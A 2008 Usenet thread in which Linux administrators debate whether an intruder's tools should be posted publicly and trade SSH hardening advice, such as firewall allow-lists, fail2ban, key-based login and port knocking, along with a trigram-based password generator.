There is a limit ... I personally disagree with providing too much info 
in open forums ... and lets face it, half of the initial responses 
(including your first response) didn't even read correctly the log 
information that was provided.

Secondly, I didn't attack him ... I pointed out in direct language 
exactly what he had done.

The one thing that was correct in David Brown's post was the statement 
that "... it was unnecessary to post the whole log file".  I agreed then 
and my post stated a similar position now.

I was a regular contributor to this forum many years ago and we had a 
problem then with overzealous contributors who got it wrong.

Cheers

Luke
0
Reply Prime 9/20/2008 2:38:57 AM

Sylvain Robitaille wrote:
> Prime wrote:
> 
>> It does no one any good to provide additional resources for newbie 
>> skript kiddies ...
> 
> obscurity != security

I don't totally agree but I do understand your point ... but why advertise?

Are you prepared to publish all of the exploits, exploit analysis etc 
that you have on file ... what about a detailed look at all of the 
security measures you employ on your host(s) ... I think not.

I've seen regular advice regarding running ssh on an obscure port to 
make it more difficult to find ... therefore obscurity = slightly better 
security.

> Plain and simple.
> 
> Besides, the script kiddies get the tools.  You should never assume that
> because you haven't seen pointers to them directly, that they haven't.

My point also mentioned "Newbie skript kiddies" ... why make it easy for 
them ... make them earn their stripes.

> What the OP did was make it possible for us (and himself) to examine the
> exact tools used by his intruder, giving him a better chance of ensuring
> thorough cleanup (and us an additional opportunity at detecting the use
> of these tools against our own systems).

I must have missed something ... apart from a brute force attack (which 
seemed to have worked against one of his lame users' lame passwords) 
there was nothing to indicate an exploit of any sophistication that 
needed thorough cleanup. I didn't see anything in a very cursory look 
that even indicated the kiddie had obtained root.

The kiddie didn't even automate his attack ... it was completely manual ...

What DID need attention was password security (and or better 
authentication methods) ... revealing a kiddies toys revealed nothing of 
any worth in the analysis of his problem.

I am surprised that no one has piped in earlier demanding that he unplug 
his hosts from the net, completely wipe the affected system and then 
re-install ... but hey ... most of you thought he was being attacked not 
doing the attacking so I guess that is easily explained.

Come on guys ... lets put all of this into perspective.

I suggested (not attacked) that publishing a kiddie's toy box wouldn't 
help anyone; maybe I'm right, maybe not, but at the end of the day, the 
cause of the initial problem was poor password security/user scrutiny.

More words have been typed regarding my post than there were assisting 
the OP to strengthen his security.

Lets get back on topic.

0
Reply Prime 9/20/2008 3:15:33 AM

Anon E. Muss wrote:
> On Fri, 19 Sep 2008 09:56:24 -0500, Allen Kistler
> <ackistler@oohay.moc> wrote:
> 
>> Anon E. Muss wrote:
>>> I recently noticed excessive acitivity on my router's activity LED and
>>> did a little investigating.  As immediate action, I used a big hammer
>>> and firewalled off 218/8 until I can figure out what is going on here.
>>> Yesterday, it was 201/8.
>>>
>>> Below is most of output of netstat.  Can someone let me know what is
>>> going on here?  SynFlood??  Also, any suggestions??
>>>
>>> ===== BEGIN =====
>>> Active Internet connections (w/o servers)
>>> Proto Recv-Q Send-Q Local Address               Foreign Address State
>>>
>>> [snip]
>> Welcome to the Internet.  It's been here for a while.  Where have you been?
> 
> Been here a while.
> 
>> If you have services offered to the world, lots of people are going to 
>> try to break in.  If you have ssh turned on with guessable usernames 
>> (like, you know, root, ftp, httpd, or bin) and authentication using only 
>> password enabled, eventually someone is going to guess your lame password.
> 
> Not *my* password.
> 
> I will go through the users and find out who used a lame-o password.
> 
> Thanks for the help.

Ahh. You misunderstand: a lot of that is script kiddies, attacking your 
services, and guessing good password's like Governor Palin's zipcode for her 
login password on Yahoo. (Follow her adventures with Wikileaks if you're curious.)
0
Reply nkadel (705) 9/20/2008 6:29:37 AM

Prime wrote:
> Sylvain Robitaille wrote:
>> Prime wrote:
>>
>>> It does no one any good to provide additional resources for newbie 
>>> skript kiddies ...
>>
>> obscurity != security
> 
> I don't totally agree but I do understand your point ... but why advertise?

Because it's useful to the honest people to have a hint as to what this week's 
s script kiddies are using.
0
Reply Nico 9/20/2008 6:33:05 AM

Prime <not@real.address> writes:

>Unruh wrote:

>>> Unruh wrote:

>> 
>> We are constrantly telling people to provide information when they post
>> here with problems. He posts his information and you attack him. That info
>> can be useful in deciding to advise him how to handle the attack.

>There is a limit ... I personally disagree with providing too much info 
>in open forums ... and lets face it, half of the initial responses 
>(including your first response) didn't even read correctly the log 
>information that was provided.

I agree I did misread it.

>Secondly, I didn't attack him ... I pointed out in direct language 
>exactly what he had done.

And the difference between :attack" and "pointed out in direct language" is
what?


>The one thing that was correct in David Brown's post was the statement 
>that "... it was unnecessary to post the whole log file".  I agreed then 
>and my post stated a similar position now.

I would far rather he post too much info than too little. I agree that he
posted too much, but how was he to know what "too much" and "too litlle"
is? He is confused, and thus his judgement about the relevance of data is
impaired. In that case going overboard is far better than giving to little. 


>I was a regular contributor to this forum many years ago and we had a 
>problem then with overzealous contributors who got it wrong.

Many years ago modems were common and overposting took forever to load. No
longer true in general. 


>Cheers

>Luke
0
Reply Unruh 9/20/2008 6:34:45 AM

Unruh wrote:

> And the difference between :attack" and "pointed out in direct language" is
> what?

Direct Language:
Congratulations ... you just posted the url's for a couple of tools that 
this amateur skript kiddie is using.

Attack:
You would have to be one of the most ignoarant sys admins I've ever come 
across ... idiot! why would you be so stupid as to post the urls that 
this amateur skript kiddie is using ...

.... do I need to go on?

>> The one thing that was correct in David Brown's post was the statement 
>> that "... it was unnecessary to post the whole log file".  I agreed then 
>> and my post stated a similar position now.
> 
> I would far rather he post too much info than too little. I agree that he
> posted too much, but how was he to know what "too much" and "too litlle"
> is? He is confused, and thus his judgement about the relevance of data is
> impaired. In that case going overboard is far better than giving to little. 

Perhaps had you not been overwhelmed with too much information you might 
have read the log file correctly?

Clearly you and I need to agree to differ.  Lets just leave it at that.

Cheers

Luke
0
Reply Prime 9/20/2008 7:44:56 AM

Nico Kadel-Garcia wrote:
> Prime wrote:
>> Sylvain Robitaille wrote:
>>> Prime wrote:
>>>
>>>> It does no one any good to provide additional resources for newbie 
>>>> skript kiddies ...
>>>
>>> obscurity != security
>>
>> I don't totally agree but I do understand your point ... but why 
>> advertise?
> 
> Because it's useful to the honest people to have a hint as to what this 
> week's s script kiddies are using.

Ok, given the "kit" that I downloaded, the SK's ability has diminished 
somewhat in the last 7-8 years.

Also, don't be under any illusions that crackers are continually 
monitoring this and other forums.  I'd hate to see this forum become a 
swap meet for cracking tools in the name of openness for the honest people.

Cheers
0
Reply Prime 9/20/2008 7:50:23 AM

Hello,

Tim Greer a �crit :
> 
> You can also consider using something like iptables and implement rate
> limiting (different limits per port/service)

Be aware that by nature rate limiting may be abused by an attacker to 
cause a DoS.
0
Reply boite-a-spam (850) 9/20/2008 9:41:16 AM

Tim Greer wrote:
> AZ Nomad wrote:
> 
>> On Fri, 19 Sep 2008 15:24:45 +0000 (UTC), Peter Van Epp
>> <vanepp@sfu.ca> wrote:
>>> Anon E. Muss <anonymous@example.org> writes:
>>>> I recently noticed excessive acitivity on my router's activity LED
>>>> and
>>>> did a little investigating.  As immediate action, I used a big hammer
>>>> and firewalled off 218/8 until I can figure out what is going on
>>>> here. Yesterday, it was 201/8.
>>>> Below is most of output of netstat.  Can someone let me know what is
>>>> going on here?  SynFlood??  Also, any suggestions??
>>>> ===== BEGIN =====
>>>> Active Internet connections (w/o servers)
>>>> Proto Recv-Q Send-Q Local Address               Foreign Address State
>>>> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37775 218.25.160.246:ssh
>>>> TIME_WAIT
>>> <snip>
>>> As several folks have noted standard ssh scan (we take between 4 and
>>> 5 a day down our entire class B). As this looks to be a unix host try
>>> fail2ban which will block the IP for 5 minutes or so after a number of
>>> failures:
>>> fail2ban: http://www.fail2ban.org/ which blocks via a local firewall
>> denyhosts is also cool in that it reports crackers to a central
>> database.  If a cracker attacks too many denyhosts protected sites,
>> all of them will block the cracker.
>>
>> Unfortunately, I started to be attacked by a botnet, getting 10-20
>> attacks a day
>> all from different hosts.  I finally decided to disable password
>> logins, only allowing predefined keys with passcode to log on which I
>> keep on a memory stick for when I connect remotely from a new
>> computer.
> 
> You can also consider using something like iptables and implement rate
> limiting (different limits per port/service), which can help prevent it
> getting too far out of control initially, without having to add a rule
> or keep a database, though you can do both and include logging for
> different reasons and future prevention or reporting.  Ultimately,
> people seem to leave too many services open to the world when it can be
> disabled or can be more limited (not that I assume that was your issue,
> but the topic just compels me to make mention of that fact -- I suppose
> that's obvious though).
> 
> Often, people will just configure SSH to only listen on specific IPs,
> rather than binding to all of them and configure it to a unique, non
> default port.  Add firewalls to that, rate limiting and a good
> configuration, then if you keep up to date on the versions/patches,
> have a secure configuration of the service, don't allow direct root
> logins and use keys, along with a few other basic things, and you
> should really not need to worry about incoming SSH attacks, at least. 
> Additional things can be chrooting/jailing the shell, adding security
> policy limits, ulimit, etc., but again, that all goes without saying.

When practical, it is better to specify allowed IPs (or disallowed IPs) 
at the firewall, rather than at the application.  That way you can 
"drop" undesired connections rather than reject them - "drop" wastes 
less resources, gives less information, and is more likely to make an 
automated attacker give up totally on that IP address.
0
Reply david.brown (580) 9/20/2008 1:53:46 PM

On Sat, 20 Sep 2008, in the Usenet newsgroup comp.os.linux.networking, in
article <HIqdndgbb50EnUjVRVnyugA@lyse.net>, David Brown wrote:

>Tim Greer wrote:

>> AZ Nomad wrote:

>>> Unfortunately, I started to be attacked by a botnet, getting 10-20
>>> attacks a day all from different hosts.  I finally decided to
>>> disable password logins, only allowing predefined keys with
>>> passcode to log on which I keep on a memory stick for when I
>>> connect remotely from a new computer.

>> Ultimately, people seem to leave too many services open to the world
>> when it can be disabled or can be more limited (not that I assume
>> that was your issue, but the topic just compels me to make mention
>> of that fact -- I suppose that's obvious though).

>When practical, it is better to specify allowed IPs (or disallowed
>IPs) at the firewall, rather than at the application.

As of last Monday, there were 2708817080 IPv4 addresses in use on
88156 network in the world.   I'm no longer amazed that people think
they need to allow SSH access from every single one of those - after
all, you KNOW they'll be leaping onto a plane in a few minutes and
flying to Afghanistan, Armenia, Angola, Aruba, and the Aaland Islands
(or similar), and simply don't have time to white-list the address
ranges that might be used there.

>That way you can "drop" undesired connections rather than reject them
> - "drop" wastes less resources

Debatable - an IP connection attempt will try multiple times when a
connection attempt encounters a drop, while a reject (either with a
RST or ICMP Type 3 Code 3) says "I'm not going to talk to you". But
either a drop or reject is going to waste a lot less resources than
a "Login Incorrect".

>gives less information,

Now THERE is a valid reason!

[compton ~]$ whatis nmap p0f
nmap            (1)  - Network exploration tool and security scanner
p0f             (1)  - identify remote systems passively
[compton ~]$ 

Many people have nmap installed - read the man page, looking for the
word "fingerprint".   Then wander over to Bugtraq or CERT and see what
the latest security hole is for $OPERATING_SYSTEM. An example of this
was the 'ramen' worm from ~1/2000 - which used banner reading to
locate Red Hat 6.2 or 7.0 systems to attack using exploits specific
to each distribution version.

>and is more likely to make an automated attacker give up totally on
>that IP address.

A small plus, because there will be more attempts from other 'bots.
Someone in another Usenet newsgroup had a .sig that is very
appropriate. 

    MS-Windows: 10,000,000 'Bots strong.

But obviously, windoze isn't the only source of 'bots.

        Old guy
0
Reply ibuprofin2 (2868) 9/20/2008 9:26:24 PM

Prime wrote:

> Are you prepared to publish all of the exploits, exploit analysis etc 
> that you have on file ... what about a detailed look at all of the 
> security measures you employ on your host(s) ... I think not.

For what it's worth, most of the exploits I've examined were readily
available, and obtained via pointers posted to newsgroups or mailing
lists I subscribe to (with an intended audience of "the good guys").
Details of how my systems are secured aren't readily available, true,
but certainly there are outlines that are.  I don't feel a need to hide
everything I do, though I'm not about to divulge exactly *how* I do it.

Your post was the first I've ever seen suggesting that someone shouldn't
have posted a link to a publically available exploit tool.  Then again,
I don't monitor this newsgroup as religiously as I think I should, so
very often long times go by between when I get around to reading this
group (and my returns are usually accompanied by a lot of messages that
are let go, unread).

> I've seen regular advice regarding running ssh on an obscure port to
> make it more difficult to find ... therefore obscurity = slightly
> better security.

I disagree on that, and have expressed that the notion of moving any
service (ssh included) to a non-standard port (what, exactly, is an
"obscure port"?  Nmap will find ssh at any port) is completely the wrong
way to do things.  There is a lot of advice out there, intended to help
secure systems that is misguided at best.

I have Ssh running on every system I manage, on TCP/22.  I see lots of
evidence of attempted brute-force attacks against user passwords on at
least some of those systems.  I have yet to discover a compromise that I
can show occured because of an attack against Ssh.  I don't want to say
that it has never happened, but in more than 12 years as a system
administrator (including using Ssh even before its use was very
widespread), I've not *seen* a compromise that I could attribute to Ssh.

Weak user passwords can be compromised at any port.  Someone looking to
break into a system, especially manually, won't be slowed very much by
having to point his/her Ssh brute-force attack at port 22222 (for
example) rather than 22.

> My point also mentioned "Newbie skript kiddies" ... why make it easy
> for them ... make them earn their stripes.

My point is that it's already easy for them.  Why make it harder for
*us* to find the tools they're using than it is for them?

> I didn't see anything in a very cursory look that even indicated the
> kiddie had obtained root.

Agreed.  I have the same impression.  What does that have to do with
whether the OP should have posted the unsanitized command history?

> ... revealing a kiddies toys revealed nothing of any worth in the
> analysis of his problem.

Disagreed.  Obfuscating the sources of the intruder's tools would have
offered us no useful information whatsoever about the scans originating
from his system (and no doubt many others out there).

> I am surprised that no one has piped in earlier demanding that he
> unplug his hosts from the net, completely wipe the affected system and
> then re-install ...

You and I agree that it doesn't appear, from the data that was posted
here, as though the system was compromised at any level higher than an
unprivileged user account.  Unless the OP has evidence to the contrary,
I fail to see what a complete wipe/re-install sequence would accomplish.

> but hey ... most of you thought he was being attacked not doing the
> attacking so I guess that is easily explained.

Perhaps.  It was really great of you to step up and point out the error
so quickly.  Oh wait, given that your first post on the topic was to
"congratulate" the user for posting links to tools used to launch scans
and/or attacks from his system, I think that might have been someone
else ...

-- 
----------------------------------------------------------------------
Sylvain Robitaille                              syl@alcor.concordia.ca

Network and Systems analyst                       Concordia University
Instructional & Information Technology        Montreal, Quebec, Canada
----------------------------------------------------------------------
0
Reply Sylvain 9/22/2008 5:24:28 PM

Sylvain Robitaille wrote:
> Prime wrote:
> 
>> Are you prepared to publish all of the exploits, exploit analysis etc 
>> that you have on file ... what about a detailed look at all of the 
>> security measures you employ on your host(s) ... I think not.
> 
> For what it's worth, most of the exploits I've examined were readily
> available, and obtained via pointers posted to newsgroups or mailing
> lists I subscribe to (with an intended audience of "the good guys").
> Details of how my systems are secured aren't readily available, true,
> but certainly there are outlines that are.  I don't feel a need to hide
> everything I do, though I'm not about to divulge exactly *how* I do it.

Ok ... so there is some merit in obscurity.


>> I've seen regular advice regarding running ssh on an obscure port to
>> make it more difficult to find ... therefore obscurity = slightly
>> better security.
> 
> I disagree on that, and have expressed that the notion of moving any
> service (ssh included) to a non-standard port (what, exactly, is an
> "obscure port"?  Nmap will find ssh at any port) is completely the wrong
> way to do things.  There is a lot of advice out there, intended to help
> secure systems that is misguided at best.

I agree.  There are better ways of doing things.


> Weak user passwords can be compromised at any port.  Someone looking to
> break into a system, especially manually, won't be slowed very much by
> having to point his/her Ssh brute-force attack at port 22222 (for
> example) rather than 22.

Also agree.  That was a point I made in another post ... the advice 
provided in this forum should have been centred around sound security 
practices including but limited to password strength and user scrutiny.


>> My point also mentioned "Newbie skript kiddies" ... why make it easy
>> for them ... make them earn their stripes.
> 
> My point is that it's already easy for them.  Why make it harder for
> *us* to find the tools they're using than it is for them?

I must be missing something here ...

The OP posted a netstat log that most in this forum mis-read.  Had it 
not been for your keen eye, the thread may well have gone off on a 
completely incorrect tangent. So, props to you for getting it right!


>> I am surprised that no one has piped in earlier demanding that he
>> unplug his hosts from the net, completely wipe the affected system and
>> then re-install ...
> 
> You and I agree that it doesn't appear, from the data that was posted
> here, as though the system was compromised at any level higher than an
> unprivileged user account.  Unless the OP has evidence to the contrary,
> I fail to see what a complete wipe/re-install sequence would accomplish.

I wasn't suggesting that a complete wipe/re-install was called for ... 
in days gone by, many in this forum would have piped in and suggested 
that wiping the system was the only way to guarantee a clean system.

I was surprised that wiping the system wasn't demanded given that many 
weighed in too quickly with equally unprofound advice.


[snip]

I've had enough of this thread now, we're getting nowhere ... again, we 
should agree to disagree or agree to accept that others may have 
different ways of doing things.

Cheers
0
Reply Prime 9/23/2008 9:10:32 AM

Prime wrote:

>> I don't feel a need to hide everything I do, though I'm not about to
>> divulge exactly *how* I do it.
>
> Ok ... so there is some merit in obscurity.

Well, if you want to suggest that people not publishing their passwords
is a form of obscurity, I suppose I heartily advocate for it, even.  In
the sense of "don't divulge details of commands run by an intruder on
your system," though, I most certainly don't.

> ...
> I agree.  ...
> ...
> Also agree.  That was a point I made in another post ...
> ...
> I must be missing something here ...

Perhaps I'm the one whose missing it, if it seems we're agreeing more
than we've said (before your last post).

> The OP posted a netstat log that most in this forum mis-read.

Yes, but our disagreement occurred when you criticised the OP for also
posting an unsanitized command-history from the intrusion on his/her
system.  I disagreed with your criticism.

> I wasn't suggesting that a complete wipe/re-install was called for ... 

Ok, so we agree on that as well, then ...

> I was surprised that wiping the system wasn't demanded given that many 
> weighed in too quickly with equally unprofound advice.

I missed what may have been intended sarcasm, then.

> I've had enough of this thread now, we're getting nowhere ...

I don't think so: I think we've clarified points we do and don't agree
on.

-- 
----------------------------------------------------------------------
Sylvain Robitaille                              syl@alcor.concordia.ca

Network and Systems analyst                       Concordia University
Instructional & Information Technology        Montreal, Quebec, Canada
----------------------------------------------------------------------
0
Reply Sylvain 9/23/2008 3:49:04 PM

On Mon, 22 Sep 2008, in the Usenet newsgroup comp.os.linux.security, in article
<slrngdfl6c.srb.syl@charlotte.concordia.ca>, Sylvain Robitaille wrote:

>Prime wrote:

>> Are you prepared to publish all of the exploits, exploit analysis etc
>> that you have on file ... what about a detailed look at all of the
>> security measures you employ on your host(s) ... I think not.
>
>For what it's worth, most of the exploits I've examined were readily
>available, and obtained via pointers posted to newsgroups or mailing
>lists I subscribe to (with an intended audience of "the good guys").

CERT?   Bugtraq?  Sans?   Wazzat?

>> I've seen regular advice regarding running ssh on an obscure port to
>> make it more difficult to find ... therefore obscurity = slightly
>> better security.
>
>I disagree on that, and have expressed that the notion of moving any
>service (ssh included) to a non-standard port (what, exactly, is an
>"obscure port"?  Nmap will find ssh at any port) is completely the
>wrong way to do things.

1. Moving a service from a "well known port" to something else. The
concept of well known ports goes back to the 1970s, and was meant to
allow others to find specific services.  If a specific service isn't
meant to be offered to everyone, making it more difficult to find
may be a valid decision (I'm not sure how many zombies and skript
kiddiez do a full port-scan before "attacking").  It also may not be
the optimum solution, especially if it's the only one applied..

2. An "obscure port" is "not well known".  In practice, it often means
some port number above 1024, and not a "sekrit number" like 12345 or
other numbers that appeal to the mindless.

3. man nmap  and look at the '-p <port ranges>' option. Most skript
kiddiez don't even know about the option, and thus accept the default
(1-1024 plus those listed in the services file supplied with nmap -
the file that comes with nmap-4.76 lists 3398 TCP ports above 1024).

>There is a lot of advice out there, intended to help secure systems
>that is misguided at best.

Agreed

>I have Ssh running on every system I manage, on TCP/22.  I see lots
>of evidence of attempted brute-force attacks against user passwords
>on at least some of those systems.

One of the reasons some get unhappy with such attempts is the waste
of bandwidth. A simple solution to that problem is to configure the
firewall to block access to the SSH server for addresses that will
have no valid or imaginable reason to be trying such access. As of
mid-month, there were 2708817080 IPv4 addresses in use on 88156
networks in the world.   I'm no longer amazed that people think
they need to allow SSH access from every single one of those (and
1586150216 others either unassigned or reserved by RFC3330) - after
all, you KNOW they'll be leaping onto a plane in a few minutes and
flying to Afghanistan, Armenia, Angola, Aruba, and the Aaland Islands
(or similar), and simply don't have time to white-list the address
ranges that might be used there.

Another reason some get unhappy is that they must log every failed
attempt - perhaps so they can click their tongues in disgust, and
maybe turn over this information to the Internet Police. I have no
sympathy for these either.

>Weak user passwords can be compromised at any port.

Of course

>Someone looking to break into a system, especially manually, won't be
>slowed very much by having to point his/her Ssh brute-force attack at
>port 22222 (for example) rather than 22.

They will be slowed if they must first _find_ the port. Something like
port 22222 is _somewhat_ less easy to find ("22222" is in that nmap
services file),

[compton ~]$ ls -ld a* | cut -c37-41 | grep "[0-9]\{5\}" | column
15588   02555   13004   31924   18104   15326   10940   40304   10458
16266   13167   22820   34870   10943   18430   21195   10005
[compton ~]$ 

but ports 31924, 34870, or maybe 21195 might be a bit more obscure.  A
problem with this is that most users can't remember their own telephone
number or postal delivery code, and expecting them to remember any port
number is probably asking to much.

        Old guy
0
Reply ibuprofin 9/23/2008 8:05:06 PM

>One of the reasons some get unhappy with such attempts is the waste
>of bandwidth. A simple solution to that problem is to configure the
>firewall to block access to the SSH server for addresses that will
>have no valid or imaginable reason to be trying such access. As of
>mid-month, there were 2708817080 IPv4 addresses in use on 88156
>networks in the world.   I'm no longer amazed that people think
>they need to allow SSH access from every single one of those (and
>1586150216 others either unassigned or reserved by RFC3330) - after
>all, you KNOW they'll be leaping onto a plane in a few minutes and
>flying to Afghanistan, Armenia, Angola, Aruba, and the Aaland Islands
>(or similar), and simply don't have time to white-list the address
>ranges that might be used there.

In a university setting with many faculty, yes, they'll be leaping on a
plane in a few minutes to Afghanistan, Armenia, Angola, Aruba, and the
Aaland Islands,(or similar). And trying to figure out waht the IP address
range is that will be in use there is a serious task-- could take you
staying at home weeks to discover it ( eg the faculty member might discover
that an internet cafe is the onlyway to connect, or that the hotel-- what
the hell is its ip address-- charges $40 an hour for internet connectivity.



....
>but ports 31924, 34870, or maybe 21195 might be a bit more obscure.  A
>problem with this is that most users can't remember their own telephone
>number or postal delivery code, and expecting them to remember any port
>number is probably asking to much.

Precisely.

0
Reply Unruh 9/23/2008 9:22:09 PM

Moe Trin wrote:

> CERT?   Bugtraq?  Sans?   Wazzat?

.... and others, but Bugtraq is one I frequently get good information
from.  The usual websites also (most pointed to from the SecurityFocus
website, so I won't try and get a list).  I've spent less time on this
type of thing in the past couple of years, so I can't point you to the
"best" sources.

> ... If a specific service isn't meant to be offered to everyone,
> making it more difficult to find may be a valid decision ...

Well, if a specific service isn't meant to be offered to everyone, one
might argue that the first step in ensuring that, is that the service
shouldn't be *visible* to everyone, or at least it shouldn't *respond*
to everyone.

> It also may not be the optimum solution, especially if it's the only
> one applied..

absolutely.

> 2. An "obscure port" is "not well known".

Well, most people I know (with IT knowledge) are aware of TCP ports from
1 to 65535.  They're pretty well-known, if not all by name.  ;-)

> 3. man nmap  and look at the '-p <port ranges>' option.

Exactly.

> Most skript kiddiez don't even know about the option, ...

Counting on that, though, is in the same category as the misguided advice
I was referring to in an earlier post.

> A simple solution to that problem is to configure the firewall to
> block access to the SSH server for addresses that will have no valid
> or imaginable reason to be trying such access.

Yes, that's certainly advisable, as one layer of security.  More to the
point, I generally advise configuring a firewall (in whatever form that
might be) to permit access only from those addresses (or address ranges)
where legitimate access is expected.  As you no-doubt imagine, the
reactions I get are frequently similar to those you get, but the
approach works really well.

> Another reason some get unhappy is that they must log every failed
> attempt ....

I normally advise folks to worry about the attempts that didn't fail.
Those that failed are the result of your configuration working as it
should ...

>> Someone looking to break into a system, especially manually, won't be
>> slowed very much ...
>
> They will be slowed if they must first _find_ the port.

As quoted above, they "won't be slowed very much".  In fact, in my
opinion, they won't be slowed enough to offset the inconvenience to
users who will then need to remember to send their Ssh clients to the
non-standard port.

> ("22222" is in that nmap services file),

The actual port-number in my example wasn't the point ...

> A problem with this is that most users can't remember their own
> telephone number or postal delivery code, and expecting them to
> remember any port number is probably asking to much.

Well, after all, we're asking them to remember reusable passwords too,
without using simple dictionary words!  Some of us even insist that
they not write them down on a sticky-note taped to their monitors (oh
the nerve we have!)

-- 
----------------------------------------------------------------------
Sylvain Robitaille                              syl@alcor.concordia.ca

Network and Systems analyst                       Concordia University
Instructional & Information Technology        Montreal, Quebec, Canada
----------------------------------------------------------------------
0
Reply Sylvain 9/23/2008 9:38:08 PM

On Tue, 23 Sep 2008, in the Usenet newsgroup comp.os.linux.security, in article
<slrngdiodv.gso.syl@charlotte.concordia.ca>, Sylvain Robitaille wrote:

>Moe Trin wrote:

>> ... If a specific service isn't meant to be offered to everyone,
>> making it more difficult to find may be a valid decision ...
>
>Well, if a specific service isn't meant to be offered to everyone, one
>might argue that the first step in ensuring that, is that the service
>shouldn't be *visible* to everyone, or at least it shouldn't *respond*
>to everyone.

I think that is the one that most smart people adopt.  My home system
under "normal" conditions accepts connections from a /22 and two /24s
on the outside. In the somewhat rare situations when I'm traveling,
I've taken to using a port-knocking scheme (where you first attempt
to connect to an otherwise un-used port - the firewall notes the
attempt, and unblocks access to the SSH server from "that" address for
one minute). I still have to authenticate (an RSA key on a USB memory
card) so the knocking isn't really security, but more "noise
reduction". 

>Yes, that's certainly advisable, as one layer of security.  More to
>the point, I generally advise configuring a firewall (in whatever form
>that might be) to permit access only from those addresses (or address
>ranges) where legitimate access is expected.  As you no-doubt imagine,
>the reactions I get are frequently similar to those you get, but the
>approach works really well.

We're a research facility for the company, and have somewhat less of a
"need" to log in from the outside world. This permits pretty
restrictive limits on such access.

>> Another reason some get unhappy is that they must log every failed
>> attempt ....
>
>I normally advise folks to worry about the attempts that didn't fail.
>Those that failed are the result of your configuration working as it
>should ...

Exactly. That's also why the USB dongle only provides part of the
authentication - the users still need a password that gets hashed in
to create the actual credentials.

>> They will be slowed if they must first _find_ the port.
>
>As quoted above, they "won't be slowed very much".  In fact, in my
>opinion, they won't be slowed enough to offset the inconvenience to
>users who will then need to remember to send their Ssh clients to the
>non-standard port.

It's amazing how much fits into those little USB dongles today.  We
are getting more concerned with 'homeland security' idiots than we used
to be.  There has always been the worry about having a laptop stolen
at the security check-point, which is why filesystem encryption is more
common, but now that may result in the laptop being detained while the
CBP look for illegal files.  See the stuff in news://comp.risks  issues
25-28 (12 Aug, 2008) and 25-14 (2 May, 2008) including the EFF URL.

>> A problem with this is that most users can't remember their own
>> telephone number or postal delivery code, and expecting them to
>> remember any port number is probably asking to much.
>
>Well, after all, we're asking them to remember reusable passwords too,
>without using simple dictionary words!  Some of us even insist that
>they not write them down on a sticky-note taped to their monitors (oh
>the nerve we have!)

The sticky-note on the monitor, or on the bottom of the keyboard (or
mouse) had a fairly short life here - we got tagged in a government
security audit many years ago, and there was hell to pay.  We _try_ to
help our users by having a regular hand-out that shows ways to create
and remember more difficult passwords - the "n'th letter of the words
of a phrase/song" seems to be tolerable, and a heck of a lot more
secure than the phone number of the bookie, pizza-joint, or what-ever.

        Old guy
0
Reply ibuprofin 9/25/2008 2:15:51 AM

ibuprofin@painkiller.example.tld (Moe Trin) writes:


>The sticky-note on the monitor, or on the bottom of the keyboard (or
>mouse) had a fairly short life here - we got tagged in a government
>security audit many years ago, and there was hell to pay.  We _try_ to
>help our users by having a regular hand-out that shows ways to create
>and remember more difficult passwords - the "n'th letter of the words
>of a phrase/song" seems to be tolerable, and a heck of a lot more
>secure than the phone number of the bookie, pizza-joint, or what-ever.

You might want to use my program wgen which generates "words" based on a
dictionary. It takes the dictionary and calculates the occurance of the
"trigrams-- combinations of three letters, including a double init to
indicate the beginning of the word. It uses urandom to grab the next letter
based on the probability of that letter being the last letter in a set of
three as determined by teh dictionary. This produces words that are not
words but are very similar in their structure to English words. It also
puts out a "entropy" for the word (ie the number of bits of entropy for each
word based on those trigrams-- it is a rough guide. 

People should grab longer words with higher bit numbers, or combine shorter
words .
Here is an example-- with max length of 10 characters

ambly [17.1833]
mainterial [24.9927]
xeno [18.3541]
rectinite [25.0441]
anneau [23.2039]
bismentram [32.0393]
beworl-air [39.8553]
gumfervivi [34.0005]
prophy [16.0704]
strusion [21.3945]
unsonnersa [30.087]
corrhaceab [26.3783]
unaceae [17.1724]
terregraem [37.0352]
letason [29.3827]
avolverra [33.715]
subhensick [30.6531]
coorsomide [37.5863]
cosis [14.3989]
airer [19.1535]


Note occasionally a real word is generated. 
There is about 3 bits of entropy per letter-- some more, some less.
But "airer anneau" would have an entropy of over 40. Throw in a few
capitals or even punctuation, and you might get that up to 45 (but it is
harder than you think to "throw in random punctuation"..
(Note-- that entropy basically means that if the attacker used the same
dictionary, that is a measure of how many times he would have to try to
generate your password-- ie if the ranking is 35 it would take 2^35 = 10^10 tries.
It is also better to use longer dictionaries (I have one with 400,000
words) as it makes rarer combinations more likely. (By default it uses
/usr/share/dict/words)

If you use a text document as the dictionary, especially simple text, you are likely to get simply short
words-- since the probabilities are coumputed from the whole document,
with its repetitions of  of words (a, the) biasing the results.

http:www.theory.physics.ubc.ca/wgen/wgen.c or
http:www.theory.physics.ubc.ca/wgen/wgen for the binary.

0
Reply Unruh 9/25/2008 4:03:24 PM

On 09/25/2008 12:03 PM, Unruh wrote:
> <snip>
> 
> If you use a text document as the dictionary, especially simple text, you are likely to get simply short
> words-- since the probabilities are coumputed from the whole document,
> with its repetitions of  of words (a, the) biasing the results.
> 
> http:www.theory.physics.ubc.ca/wgen/wgen.c or
> http:www.theory.physics.ubc.ca/wgen/wgen for the binary.
> 

wget http://www.theory.physics.ubc.ca/wgen/wgen.c
--2008-09-25 12:12:41--  http://www.theory.physics.ubc.ca/wgen/wgen.c
Resolving www.theory.physics.ubc.ca... 142.103.234.29
Connecting to www.theory.physics.ubc.ca|142.103.234.29|:80... connected.
HTTP request sent, awaiting response... 403 Forbidden
2008-09-25 12:12:41 ERROR 403: Forbidden.
0
Reply Douglas 9/25/2008 4:13:13 PM

Unruh wrote:

> You might want to use my program wgen which generates "words" based on
> a dictionary. ...

I like it, at least as a starting point for decent passwords.  Thanks
for passing that on.

> People should grab longer words with higher bit numbers, or combine
> shorter words .  .... Throw in a few capitals or even punctuation, ...

Agreed.

-- 
----------------------------------------------------------------------
Sylvain Robitaille                              syl@alcor.concordia.ca

Network and Systems analyst                       Concordia University
Instructional & Information Technology        Montreal, Quebec, Canada
----------------------------------------------------------------------
0
Reply Sylvain 9/25/2008 4:46:22 PM

Douglas O'Neal <oneal@dbi.udel.edu> writes:

>On 09/25/2008 12:03 PM, Unruh wrote:
>> <snip>
>> 
>> If you use a text document as the dictionary, especially simple text, you are likely to get simply short
>> words-- since the probabilities are coumputed from the whole document,
>> with its repetitions of  of words (a, the) biasing the results.
>> 
>> http:www.theory.physics.ubc.ca/wgen/wgen.c or
>> http:www.theory.physics.ubc.ca/wgen/wgen for the binary.
>> 

